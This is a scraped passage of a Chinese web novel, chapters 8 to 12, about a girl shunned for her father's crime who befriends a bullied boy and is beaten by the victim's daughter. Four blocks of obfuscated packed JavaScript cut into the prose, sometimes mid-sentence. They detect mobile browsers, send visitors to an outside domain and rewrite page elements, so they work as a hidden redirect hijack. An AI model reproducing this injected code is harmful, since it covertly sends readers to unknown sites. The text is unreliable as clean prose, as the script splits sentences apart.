林家望还是那副畏缩胆怯的模样,在老师面前乖顺地低着头,稍长的柔软黑发顺势垂下,遮住了大半眉眼。 老师眉头紧锁,用食指指着他道:“不要觉得成绩好就能为所欲为,上个语文课连书都不带。怎么,已经厉害到把课文印在脑海里了是吧,明天就上我办公室,一字不差地把它背给我。” “啪嗒”,矿泉水瓶应声落了地,骨碌碌滚到了林家望的脚边。 8. 第 8 章 原本焦躁的空气被突然打断,几秒的凝滞后,林家望率先弯腰,捡起那瓶矿泉水,并未急着归还。 老师扭头看了眼乔殊羽,不置可否地一抿嘴,又回头对着林家望说了句“听到了吗”,便快步向办公室的方向走去。 “听到了。”林家望的回答太轻太滞后,飘散在空气中,没能传达到正确的人耳畔。 想要回班,就得从林家望身边经过,乔殊羽不自然地别开眼,心跳是前所未有的快。 耳边传来轻而慢的脚步声,瓶身尚且覆着水珠的矿泉水被递到视野中:“给。” 乔殊羽近乎用抢的快速夺回矿泉水,顿了顿开口道:“不好意思,我马上把书还给你。” “没关系啊。”林家望的语气颇为轻松,完全不像刚被训斥过,“其实那节课不要课本也没关系的,只是……老师要求比较高。” 乔殊羽不知如何应答,生硬地“嗯”了一声,快步朝班里走去。 在进门的前一秒,糟糕的预感浮现至脑海,她深吸了一口气,迈入那片噪杂中,望见自己的课桌毫发无损地立在那里。 对方大概也是有所考量的,不会在这种短暂而又人多的课间搞破坏。 将课本和饭盒取出后,乔殊羽随意翻了眼语文课本。 12班的语文进度似乎要比自己班快上一两节,林家望被要求背诵的是篇说明文。洋洋洒洒数千字,满是生疏拗口的术语,按照课标要求也不过是梳理和思考,根本无需背诵。 心口像是被什么揪了一下,乔殊羽赶忙合上课本,也一并驱走那异样的感觉。 匆匆回到走廊后,林家望依然还在那里,笔管条直地站在栏杆边眺望着远方。 他的姿势很乖,两臂好似小学生那般端正地交叠在栏杆上,相较于柔和的正脸,侧脸有着令人意外的鲜明棱角。流畅的下颌线没入耳际,耳朵长得仿似半枚爱心,藏匿在柔软的黑发之中。 闻声,林家望回过头,收起双臂,友好地笑了一下。 莫名的,乔殊羽不太敢直视他那双永远澄澈的眼,目光无意间停留在他的领口,望着那丛深深的锁骨,把东西递了过去。 交接完毕后,乔殊羽退后一步,打算径直回班时,却鬼使神差道了句:“你的笔记做得挺好的。” “是嘛。”林家望笑道,“第一次听人这么夸我,好开心。” “那个……课文,好像很难背。”乔殊羽从未发现,自己说句话能如此困难。 “没关系啊,我感觉我背课文还挺快的。”林家望面上一派坦然。 不是的,这不是她要说的。 她明明该道歉,该道谢,再不济也接着寒暄几句。 可对此毫无经验的大脑直接宣布宕机,这种无措而笨拙的感觉令她恼羞成怒,敷衍地“嗯”了一声,快步往回走。 刚刚回身,她的目光无意识与迎面而来的同班同学相会。对方的脸上带着惊讶,并且下一秒,显然移向了林家望的方向。 乔殊羽的心头“咯噔”一声。 她的猜测没有错。 晚饭时分,乔殊羽躲在女厕所的隔间内,迟迟没有出门。 其实她一早打算离开了,但当她的手刚刚摸上搭扣,便听见自己的名字从门外传来。 类似的情况也没少遇过,以往她都会坦然地走出去,徒留被抓包的对方满脸的惊恐和无措。 但这次不一样,这次,她的名字和林家望——不,和“隔壁班的娘娘腔”放在了一起。 “我的天,我觉得乔殊羽能把他给打死。” “哈哈哈哈哈,才没有啦,王浩和我说,他们俩相谈甚欢呢。” “啊?她喜欢那种不男不女的吗,口味真重啊。” “我觉得,是因为除了那个娘娘腔,也没人愿意和她说话吧。” …… 卫生间显然刚被清洁过没多久,消毒水的味道分外刺鼻,乔殊羽定定站在原地,连呼吸都被摒住大半。 有水声加入二人欢快的讨论声中,乔殊羽不安地望着门上的污渍,计算她们几时洗完手。 水声未止,又一阵脚步声由远及近而来。进来的不止一人,左右两侧的隔间依次有人进入,而自己面前的门被敲了两声。 一下、一下,生生将乔殊羽的心向上提了一截又一截。 “没人吗?”门外的女生嘀咕了一句。 搭扣开始被剧烈地晃动,拉开的缝隙忽大忽小,她在门缝中逐渐看见了对方的耳朵、鬓发、颧骨、眼角—— “里面有人。”在对视的前一刻,乔殊羽掐着嗓子应了一句。 “哦,不好意思。” 门安静下来,乔殊羽的心却依然狂跳不止。 水声终于停止,脚步声逐渐远去,侧边有隔间被打开,又有人进入…… 视野里单调到只有一块哑白的门板,便使得听力分外敏锐。每一个靠近的声音,都让她急剧不安。 直到所有声音远去,乔殊羽享受了这几秒的沉默,才小心翼翼地打开搭扣,再度确定没有任何声音后,快步离开了卫生间。 她不知道自己在怕什么。 她只是觉得,自己和林家望被相提并论,让她感到很丢脸。 哪怕深处被掩埋的那点理智提醒她,她和林家望明明就是一类人。 陆陆续续有吃完饭的人回到教室,走廊上的人逐渐增多。这个点吃饭必然已经来不及了,偶尔饿一顿也无所谓,乔殊羽这么想着,径直朝教室走去。 远远在教室门口看到林家望时,乔殊羽脚下一滞。她努力确认了好几遍,林家望所站的位置,确实是自己所在的11班门口。 总有进入教室的人,带着嫌弃的目光瞥他几眼,他却一派淡然,始终望着前方,似乎在等着谁—— 面前的人逐渐散开,停留在原地的乔殊羽,精准地被他的目光所捕捉。 她对林家望的厌恶,没有哪一刻胜过现在,如果他知趣点,就该赶紧滚回自己的教室,而不是站在原地对着她笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040911|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>又有一批人从楼梯上来,率先望见了林家望的目光,再顺势移向了她。那一道道流转的目光,将二人串联起来,让她感到恶心。 乔殊羽试图从后门直接进去,奈何还没迈入门槛,便听见林家望叫住了她:“乔殊羽?” 他一开口,再度引来了众人的目光。乔殊羽死死掐着衣角,有种脱逃的冲动。 偏偏他愈来愈近,愈来愈近,坐在后门附近的人,都齐刷刷看向了此处。看林家望走到她面前,将一张纸递给她,还带着一脸微笑。 “这是你落下的吧?”林家望道。 乔殊羽匆匆从他手里抽走那张纸,只瞥了一眼,便认出那是在课上做的笔记,留着日后誊到课本上的。只是大抵还书时太匆忙,不小心将它夹在了里面。 “嗯。”乔殊羽没好气地应了声,快步进了教室,幸而林家望没跟进来。 但只恨她听力太好,那细微的讨论声还是被她捕捉到了只言片语,不是从前单纯对她的厌恶与惧怕,而是带着一股令她泛呕的八卦意味。 乔殊羽将纸团作一团,愤愤地扔进桌肚,掀开今晚要写的作业,痛苦地闭了闭眼,开始一题题死抠。 随着晚自习铃声的正式响起,教室内终于安静下来。值班的数学老师搬着一叠卷子走上讲台,沉默地开始批改。 周围都是“唰唰”的写字声,这般令人平静的白噪声,却让一个字也写不出的乔殊羽愈发焦躁。 数理化根本不是靠磨就能磨出来的,乔殊羽叹了口气,决定还是先应付语文。 偏偏今晚的语文作业,是对今天讲的课文的巩固,课本不在手边压根无从下笔。乔殊羽预备着将它合上时,忽然想到了那张纸。 她小心翼翼地取出纸团,尽可能放慢动作,轻手轻脚地把它打开又摊平整。 然而再怎么用力去压,折痕也依然密布在纸上,无法恢复如初。 往日拿着课本记得一团糟,今天写在纸上,居然反而更有条理。甚至还装模作样地学着林家望,用三色笔进行了划分和记录。 对着笔记,乔殊羽开始逐条完成作业,进展比想象中要顺利些。 下一题…… 食指在纸上一行行划过,在找到答案前,却突兀地停留在一行铅笔字上。 这潇洒的字迹,很显然来自于林家望。他圈起乔殊羽那鬼画符般的字,在一旁作出了更改。 除了更改,还有一句“这里我之前也错过”,后面跟着一个笑脸的符号。 原本平静下来的心,又开始变得焦躁。 乔殊羽奋力擦去字迹,用力到桌子都在轻轻摇晃。末了她想了想,还是用改正带粘去错误答案,按林家望的批改进行了订正。 再往下,她终于找到了自己想要的答案。乔殊羽对着笔记答完题目后,目光却定在了纸上的一小撮橡皮屑。 她擦得很干净,完全看不出曾经有人在那里留过笔记。 而她轻轻拨弄着橡皮屑,后悔的情绪来得突然而又怪异。 9. 第 9 章 乔殊羽觉得自己被人盯上了。 翌日一早,当她来到教室时,昨天被擦了大半的“杀人偿命”又被用红笔描了一遍,旁边还写了好几个“去死”,力透桌面。 很显然,对方对她恨之入骨。 乔殊羽学聪明了些,前一晚把大部分课本和笔记都装在书包带回了家。至于那些装不下的,也不敢冒险放在一旁的空桌子里,而是搬到了教室角落的书柜里。 这玩意儿当初是为了应付上头检查而装的。旁边的借书单挂得好看,其实根本没有人借,全是值日生每天胡乱填写。等到检查月过去,连表面工夫也懒得做。 如今来到了新教室,升上高三的学生们也遗留下了一个书柜。开学一个多月,所有人都对它视而不见。 乔殊羽特意拖延到值日同学都走了,才打开遍布灰尘的书柜,将自己的笔记本见缝插针地塞了进去。 为了应付检查,学校里这些“劳民伤财”的表面工夫还不少,没想到,它们最终换了个方式派上了用场。 昨晚刚到家,乔殊羽便见到桌上堆着满满的课本。李亦梅说,这是她下午特意请了假,跑了两家新华书店、三家教辅书店才买齐的。 嗅着这浓郁的油墨味,不知为何让她一阵鼻酸。 而现在,她打开崭新的语文课本开始早读,却对着大片空白开始犯愁。 其他几科的笔记大多记在了笔记本上,课本丢了损失也不大,偏偏语文的笔记全是直接在课本上标注。金鱼脑如乔殊羽,没了那些笔记,念着文言文简直像在念天书。 或许她该找人借来课本誊写上去——乔殊羽的目光在班内扫视了一圈,最终打消了这个想法。 至于隔壁班在脑中一闪而过的那个名字,她也不想再和对方有任何瓜葛。 乔殊羽望向一早被值日生清理干净的垃圾桶,叹了口气。昨天就不该冲动地直接扔掉,虽然对方撕得很碎,花点时间也还是能拼回来的。 “哎,这里的‘拜’是哪个意思啊?” “我看看……是‘授官’的意思。” …… 前座的讨论被乔殊羽精准捕捉到耳中,她匆匆翻出笔,做贼心虚般标注了他们所说的词。 合上笔盖,她望着空白的课本上,孤零零的这一个笔记,用力咬住了下唇。 中午,乔殊羽故意放慢速度,等到班里的同学都离开后,她将一半书本塞进书包背在背上,一半书本藏进了书柜里。 十数斤的重量直压得她两肩发疼,连带着步伐也有些不稳,而最为糟糕的是,林家望居然也拖延到了现在才离开。 “你要背这么多书回家吗?”林家望看着她鼓囊囊的书包,好奇道。 尽管视野所及处没有第三个人,但乔殊羽总觉得,那些人都藏在她尚未留意的角落里,观察着她,并且预备着编排她和林家望的故事。 乔殊羽嫌恶地瞥了他一眼,一言不发地越过他继续前进。为了离他远些,脚下的步伐匆匆,但奈不过背上的重量,以至于一个踉跄,扶着墙才好险稳住身体。 “当心!” 她听见背后传来的声音。 闭嘴。 她在心里怒吼着。 不要看我,不要和我说话,闭嘴。 纵使再迟钝的人,也该感知到乔殊羽对其的厌恶。 下午的课间,二人无意间对上目光时,乔殊羽匆匆别开眼,回身从另一个方向下楼。 晚上放学,当林家望被他们班男生当作玩具般推来推去,以至于意外推到乔殊羽身边时,她厌弃地让开身子,任由林家望径直撞上了坚硬的白墙。 “咚”一声闷响,她的心跳也随之停了一拍,惹得她逃也似的躲进了人潮之中。 林家望多少还是有些眼力见的。 打那以后,就算二人再次偶遇,乔殊羽也无需费力地撇清关系。 因为林家望再也不会叫住她,不会对她笑,甚至四目相对时,都会淡定地别开脸,沉默地同她擦肩而过。 两人的关系回到了最初互不相识的时候,乔殊羽很满意这种变化。至少最近的闲言碎语里,她的名字在和林家望的外号逐渐分离。 唯一令乔殊羽不快的是,她没法再像从前那般,淡然地看着林家望被欺凌。 两班每周总有一节重叠的体育课,虽然体育老师不一样,但自由活动的时间是一样的。 其他人都成群结伴地开始活动,乔殊羽如往常一般往教学楼走,打算在班里待到快下课的时间,再回到操场归队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040912|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 路过篮球场时,她的余光又看到了林家望。 林家望的个子不算特别高,离一米八还差上两三厘米,再加上瘦瘦弱弱的,和周围那帮大块头比起来,实在很不适合出现在篮球场。 还是那些羞/辱人的词,颠来覆去似乎怎么都说不腻。一行人把他团团围在中间,推他的背,踢他的腿,拍他的脸,看起来他比篮球要好玩得多。 有只手在不断拍着他的脸,林家望厌恶地将脸别向一旁—— 就在这一刹,隔着两道围栏,彼此的目光不合时宜地连上了线。 在乔殊羽移开眼的前一刻,林家望率先将脸别到了另一侧,看起来仿佛在迎合对方的巴掌。 心口莫名被揪紧,乔殊羽咽了咽濒临干涩的口水,秋老虎怎么还没散尽,晒得她眼眶发热。 - 与此同时,那个躲在暗处的人,依然没有停止对她座位的破坏。 每天来到学校,乔殊羽都能看到桌上被留下了新词。开始她还会耐心地擦拭,但这些字写得太用力,根本无法擦干净,最终,她干脆任由这些触目惊心的话遍布了她的课桌。 除了写字,凳子上还被洒过红墨水。幸而她抽出凳子时看了一眼,但手上还是沾到了大半,怎么都洗不干净。 她好想知道对方是谁,也好想和对方来一场正面的交锋。 她宁愿和人硬碰硬,也不想遭受这些暗地里的琐碎骚扰。 这晚,吃完晚饭的乔殊羽自食堂后门走出,预备着抄近路去小卖部买支笔。 太阳早已西沉,夜幕预临未临,周遭的世界蒙在一层烟灰色中,正是逢魔时刻。 这条路不仅偏,而且窄,左侧是墙,右侧是疯长到近一人高的杂草,地上也满是荒草和泥土,脏到少有人涉足。 她每前进一步,天色似乎就暗下一分,中午的太阳越晒,夜晚的秋风就越凉。蝉鸣逐渐消停,耳边只有风过树梢的沙沙声,和她显然变得迟疑的脚步声。 再往前几步,隐隐能听到小卖部附近嘈杂的人声。乔殊羽加快了些脚步,抬头张望着。 过了前面这条岔路,继续走上十几步—— “唔!”马尾被人一把拽住,乔殊羽踉跄着,被拽倒进一旁的岔路里。 10. 第 10 章 一周前,林家望正是在这里被人欺凌。 而乔殊羽清楚地知道,不会有人像当初的她那样多管闲事。 更何况,连她现在也不想为了林家望出手。 汗味夹杂着香味,闻着有些教人作呕。乔殊羽直觉对方和之前与她交手的人都不一样,她试图去看对方的脸,然而头发被人死死拽着,令她根本无法回头。 背后传来厚重的喘/息声,激动到发颤。乔殊羽默默握紧拳头,计算着对方小腹的高度,预备着出拳时,头顶传来发自肺腑的嘶喊—— “你为什么不去死!” 拳头生生顿住,又松开。 这是个女生的声音。 乔殊羽知道她是谁了。 - “对方同意谅解了。”那晚,当李亦梅风尘仆仆地回到家时,激动到声音都在发抖。 乔殊羽看了她一眼,张了张口,最终也只应了声“哦”。 李亦梅卖掉了家里的车、另一套房,掏空全部存款,又东借西凑,攒出了一百多万。要不是现在住的房子产权在乔仁曾经的公司,她也预备着一齐卖掉赔钱。 她拿着这笔钱,去找了受害者家属很多次。最开始,每天她都是负着伤,或者被泼得一身脏回来。 乔殊羽不想她被打,但也不想她给乔仁求情。劝不住四处奔波的李亦梅后,她便把自己锁在家里。 那段时间,乔殊羽看什么都觉得恶心,看乔仁用过的家具、看帮乔仁求情的李亦梅、看和乔仁一个模子刻出来的她自己。 在李亦梅的锲而不舍之下,对方家属还是签了谅解书。 毕竟人死不能复生,一个残疾人和一个学生,根本无力赚钱。而这是除法院判决外,她们能额外拿到的一笔钱。 一百多万,不过是富人的一枚表一只包,但在这里能买一条人命。 最终,乔仁只被判了十二年。 宣判那日,乔殊羽被李亦梅强行带到了法庭听审。 结果出来后,李亦梅跪在法庭上四处感谢,感谢法官,感谢律师,也感谢签署了谅解书的死者家属。 而乔殊羽局促地站在一旁,想给自己判一个死刑。 也就是在那天,乔殊羽看到了死者的女儿。 对方叫祁笙,明明马上要上高中了,脸上还未褪尽稚气,一双肿眼泡显然哭了不止一日,推着母亲的轮椅,满眼怨恨地看着李亦梅,也看着她。 - 乔殊羽将头微微昂起,试图减缓几分头皮上撕裂般的痛。然而下一秒,祁笙便拽着她的头发,不由分说地往墙上撞去。 对方的力量还是小了些,远不如当初乔仁抓着她撞墙来得疼。乔殊羽顺从地坐在地上,任由祁笙泄愤地撞了她好几次。 头隐约有些晕了,再小的伤害,积攒起来也很可观。 见她始终没有反抗,祁笙松开手,走到了她面前。 乔殊羽终于能看见她的脸,虽然笼在已经完全沉下的夜幕里,多少有几分模糊。 不过一个多月的时间,她好像成熟了许多,眼里深沉的恨意比夜色还浓。 “你们一家都该去死。”祁笙咬牙切齿着,一脚踹向了她的小腹。 这一脚又快又重,乔殊羽痛到半张着口,竟无力出声。她弯下腰,双臂环抱着腹部,整个人蜷缩在地。 生理期好像快到了,从早上开始,小腹便开始发胀发坠,而这一击更是让她痛到一阵痉挛,额头沁出密密的汗。 又是一脚踹来,幸而被双臂所挡,祁笙激动的喘/息响过风声:“你赔我爸爸!” 乔殊羽闭了闭眼,将头也深深埋了下去。 祁笙泄愤地踢着她,声音里的哭腔愈来愈浓厚:“杀/人就该偿命,凭什么你们一家人还能活得好好的。” 于情,乔殊羽无法辩驳。于理,又残忍到她说不出口。 她将双臂环得更紧了些,决定尝试着暂时成为一个沙包。 又是一脚斜栽上她的后脑,乔殊羽一头撞上水泥墙,天旋地转之间,拼命压抑的怒意忽然喷薄而出。 她不顾腹部的疼痛,一个翻身站起,一把推/倒了祁笙。 祁笙猝不及防地跌坐在地,眼里的恨意掺杂了恐惧,双腿不住地发抖,挥动着双手胡乱打向她,试图给自己壮胆。 这些拳头轻飘飘的,毫无力度,但惹人心烦,乔殊羽眼疾手快地一手一个扣住了她的手腕。 腿软到无力站起,手臂又被定牢,祁笙仰头望向乔殊羽面无表情的脸,在夜色中好似鬼魅。 恐惧压过了所有情绪,她浑身抖成了筛糠,唯有口中故作强硬:“有本事你打死我,我要去见我爸。” “我不打你。”乔殊羽有气无力地轻声答道。 祁笙一怔,眼里闪过一丝惊讶,只是短促到转瞬即逝,很快又被恨意所取代。 “我也想我爸去死。”乔殊羽继续道,“我想他判死刑的欲/望,不比你们少。” “你骗人。” “我没有……唔!” 乔殊羽刚刚松开桎梏她的手,便被祁笙一拳栽向小腹,痛到狼狈地跌坐在地。 “随便你吧、随便你吧……”乔殊羽低下头,叹了口气。 她没法对祁笙动手,她认输。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040913|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是几个轻飘飘的拳头落下,比刚刚慢,并且没多久便彻底停止。 乔殊羽茫然地抬头看去,发现祁笙在哭。 祁笙瘫坐在地,啜泣声响亮到令人揪心,她的肩膀不住发着抖,看起来可怜又脆弱。 乔殊羽轻轻抬起手,又缓缓放下,她没有资格去安慰对方。 “我真的好想我爸……”祁笙的语气全无刚才的激愤,听起来像是在和朋友倾诉,“每天睁开眼,再到每晚的梦里,无时无刻都在想他。我不能接受,我真的不能接受,他就这么离开我们,要我和我妈怎么活下去……” 乔殊羽深深叹了口气:“……对不起。” “你没有资格说对不起!”祁笙激动地打断了她,未几秒又泄了气,“凭什么、凭什么你们还能好好地活着……” 这叫活着吗。被人孤立,每天如行尸走肉般游荡,时刻预备着保护自己。 这叫活着吗。 乔仁有罪,而体内流淌着一半他的血的自己,也被迫宣判了原罪。 “这不是我选择的。”乔殊羽疼到说话都带着气声,“如果可以,我根本不想出生。” 祁笙冷眼看着她,唯有眼泪在突兀地一直滚:“谁让你是他的女儿,你就是该死。” “嗯。”乔殊羽闷闷地应了一声。 空气中陷入短暂的沉默,祁笙站起身,在原地顿了两秒,一把又将乔殊羽推倒在地,头也不回地离开了这里。 直到祁笙的脚步声彻底消失,刚刚拼命压抑的眼泪才开闸而出。 秋风吹过,温热的眼泪一霎变得冰凉,乔殊羽躺在地上,呆滞地望着夜空稀薄的几粒星。 不知过了多久,有脚步声由远及近地响起,乔殊羽心头一慌,挣扎着坐起,无措地捂着小腹。 她现在这副虚弱的模样,怕是谁来都能欺侮几分,包括—— 目之所及是一双熟悉的灰色运动鞋,短袜上露出一截白净纤细的脚腕。 嗯,包括林家望,如果他此刻想落井下石,也完全可以。 乔殊羽不敢抬头,只是定定地望着那双脚,直到有只手闯入视野,给她递了一包纸。 见她没有接,他便弯下腰,将纸巾放在了她脚边。 “你还好吗?”林家望轻声道。 漫长的沉默。 林家望喉结一滚,淡淡舒了一口气:“我知道你不想和我有交集,放心,这里不会有人看到,我也不会和别人说。那……我先走了。” 灰色的运动鞋轻轻向后退了一步。 乔殊羽始终低着头,在他转身之前,抬手抓住了他的手腕。 11. 第 11 章 乔殊羽将头埋得极低,目之所及处,只见他收回了脚步,被她扣着手腕的那只手,垂下的五指不自然地动了动。 她不知道自己为什么猝然伸手,那是一种超脱理智的本能反应。 待到理智重新掌管大脑后,她默默松开了手。 林家望静默站在原地,恢复自由的那只手随着重力垂至裤边,轻巧地晃了两下。 极静的夜里,彼此错开的呼吸交相呈现。 乔殊羽有些后悔了。 刚刚就该任由林家望离开,她想在这里坐一会,待到腹部没有那么疼痛,再回到教室。 而不是像动物园的猴子一般,任由他观赏自己的窘态。 那双脚小心翼翼地迈步,向她凑近了些,而后膝盖弯曲,耳边能听到牛仔布料摩擦的声响。 此刻在她的视野上沿,不再是林家望沾着灰的牛仔裤,而是他清晰的下颌线,和看起来异常柔软的双唇。 那包被放在她脚边的纸巾,回归至它主人手中。林家望细致地撕开封口,声音清脆而爽利,纸巾抽出时,能嗅到清新的花香。 垂在眼前的碎发将世界分割成数块,下一秒,它们被林家望尽数撩起。 微凉的指尖触碰到额头时,乔殊羽不自觉周身一颤,林家望显然也有所迟疑,但最终没有收回手,轻轻将那几缕头发别至她耳后。 她不知道自己现在是什么样,一定狼狈得很难看。 小巧的纸巾被抖散,又被重新折成四分之一的大小,林家望轻轻揩过她的额头,她的脸颊,她的鼻尖。 他的动作又慢又轻,像是羽毛在脸上划过,让乔殊羽好奇那些脏污是否真的能被清理干净。嗅觉被纸巾上的花香尽数捕获,掩盖了血腥味和泥土味。 又是一张纸被抽出,这次被递到了乔殊羽手心。 “嘴唇。”林家望轻声提醒道,“有一点点脏。” “哦。”乔殊羽接过纸巾,用力抹了一遍嘴巴。 或许是她的动作太用力,她听见林家望不由自主倒吸了一口凉气。 当初自己用力帮他抹掉血渍时,他倒没说痛,这会儿看别人擦伤口,居然还能如此感同身受。 乔殊羽暗自觉得好笑,可又笑不出来。 林家望的目光在她脸上逡巡了一圈,污渍已被擦净大半,然而额角新沁出的汗水,在月光下闪着光。 “要不要去医务室看看。”他问道。 乔殊羽摇摇头,小腹里好似有台搅拌机在运作,疼痛伴着凉意,一阵一阵自下而上涌来。潮湿的感觉让她不舒服地换了个坐姿,犹豫着开口道:“那个……” “嗯。”林家望认真地注视着她。 “你能不能帮我买个……”乔殊羽顿了顿,不自然地舔了舔干涩的嘴唇,“……卫生巾。” “好啊。”林家望不假思索道。 “谢谢。”乔殊羽递上饭卡,从头至尾始终没敢看他的眼。 “不过,我对这个不太了解,你要什么样的?”林家望接过饭卡,长长的带子被他无意识地一圈圈绕在手指上。 “随便吧,日用的就好。”乔殊羽已经没什么力气说话,侧身倚在墙上有气无力道。 “我马上就来,你等等我。” 等她抬起眼时,林家望已经彻底消失在视野之中,面前扬起一小片尘土。 平时走路总是不疾不徐的他,跑起来会是什么样子,乔殊羽有些想象不出。 而疼痛令她连思考都成了件费力的事,她双手环抱着小腹,背倚着墙坐在原地,茫然地放空自己。 约莫两分钟后,又一阵急促的脚步声传来,生生刹在了她面前。 林家望单手撑着膝盖,臂弯里的黑色塑料袋还在做着钟摆运动,他上气不接下气道:“买了……买了这个,你看可以吗?” 一包粉色包装的卫生巾举在她眼前,乔殊羽无心去细看,含混地应了一声,抬手想要去拿,却被迫抓住了林家望突然伸来的另一只手。 他的手心有些潮湿,大抵是刚刚狂奔攥出的汗,乔殊羽犹豫了一下,还是握紧了他的手—— 自己好像确实需要另一个人的支撑才能起身。 看起来弱不禁风的林家望,这会儿倒稳稳地给她借了力,乔殊羽稳住身体,绝望地看了眼数百米外的卫生间。 “要不……我背你过去?”林家望试探着道。 乔殊羽这才真真切切地看向了他,有几缕汗湿的发黏在他额前,漆黑的瞳仁隐在黑暗中,泛着浅浅的光。 “你?”乔殊羽没忍住笑了,虽然下一秒,就疼到又捂住了小腹,“还是算了吧。” 林家望抿了抿唇,或许也知道自己的提议不现实:“那……这样行吗?” 他稍稍一颔首,像是在致歉又像是在征求同意,而后小心翼翼地抓起乔殊羽的手,绕过自己的脖颈。 “嗯。”乔殊羽顺势将大半重量压了过去。 想来这确实不是一个合格的依靠,身子单薄到有些硌人,好在还算稳当,也足够温暖。 林家望伸手自她背后绕过,指尖在她的腰际犹豫少顷,最终向上把住她的手臂,尝试着向前迈了一步。 乔殊羽整个人靠在他身上,几乎是拖着步子向前。晚自习上课铃已经打响,校园内一派寂静,唯有时隐时现的风声,以及杂草和落叶被踩碎的声响。 二人终于走出了阴暗的窄巷,月光瞬间变得慷慨,地上遍是银霜,和他们一半没进黑暗的影子。 虽然晚自习已经开始,可难免还有像他们这样仍在室外的,抑或是巡逻的老师。总之,或许在某个角落,有人看到了他们。 但乔殊羽不想去管了。 林家望一路扶着她来到了一楼的女厕门口,他将塑料袋递给乔殊羽,鼓励般一颔首:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040914|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在外面等你。” “嗯。”乔殊羽也不顾脏,抬手扶着墙走了进去。 卫生巾没有买错,虽然不是她常用的牌子。万幸黑色的外裤没有被弄脏,她伸手在口袋摸了摸,忽然发现自己没有带纸。 “啧。”乔殊羽叹了口气,尽管卫生间里只有她,不过要是喊林家望进来给她送纸,多少还是不合适。 她犹豫着想就这么垫上时,目光移向了地上的黑色塑料袋。她没抱希望地翻找了一下,从卫生巾和饭卡间,摸出了一包崭新的纸巾。 她盯着纸巾看了数秒,才将它拆开。 倒比她还要细心些。 等她从卫生间出来时,林家望果然还候在门口,微微仰头望着深沉的夜空,清晰的侧脸线条像是画里最后的勾线,只是脸色寡淡到仿佛忘了上色。 闻声,他回头望向乔殊羽:“好点了吗?” 乔殊羽点点头:“好多了。” 其实刚刚在路上,腹部的疼痛就减轻了不少。 “那……你去上晚自习吧。”林家望看了眼不远处的楼梯口。 “你呢?” “我等会上去。” 乔殊羽不太明白:“你还有什么事吗?” 林家望再度望向空荡荡的前方,苦笑了一下:“被别人看到可能不太好。” 这是乔殊羽这一周来总是担忧的事,而她现在忘了这一茬,却偏从林家望口中听到了它。 她张了张口,一时竟不知如何回答。 “其实,我可以理解你的顾虑。”林家望偏头望向她,轻轻笑了一下,“之前也有人和我走得稍近。只是男生和我玩,会被说成是和我一样的娘炮,女生和我玩,会被说成喜欢人妖。” 林家望的语气分外坦然自在,仿佛在说别人的事。 “我不知道我是什么样的人,但我清晰地知道那些受我牵连的是什么样的人,我不想他们被用这些难听的话来形容。” 很少会有人开诚布公地同乔殊羽说些什么,她也不知道在这种情况下该如何回应。 明明林家望看起来很淡然,偏偏她的心却在这平淡的叙述中,被一遍遍揪紧。 “快去吧。”林家望指了指楼梯口,笑着道。 乔殊羽面无表情地看着他,也不知对方从自己这张扫兴的脸上读出了什么,以至于笑容逐渐隐下。 她不知道该摆出什么表情合适,就算知道,面部肌肉可能也无法配合她,倒不如还是别为难它。 “那走吧。”乔殊羽抓过他的手腕,朝着楼梯口的方向走去。 “怎、怎么了?”林家望茫然到无措地低头望去。 乔殊羽没有看他,也没有低头,略显强硬地带着他向前。 “为什么要这样?”林家望被迫跟上她,开口道。 “没有为什么。”乔殊羽顿了顿,“我想和你一起回教室。” 12. 第 12 章 林家望低着头,没有回答,只是乖顺地随着她步上楼梯。 “话说,你为什么会出现在那里?”未几步,乔殊羽忽而好奇道。 “因为那里一般没有人,所以我常常会去那里……躲一躲。” 但偶尔也会像上次那样,被人逮了空。 乔殊羽咽了咽口水,没再开口。 教室在四楼,二人螺旋向上,一圈,又一圈。 走过正容镜,走过慷慨激昂的标语牌,走过二人初次有交集的那个拐角。 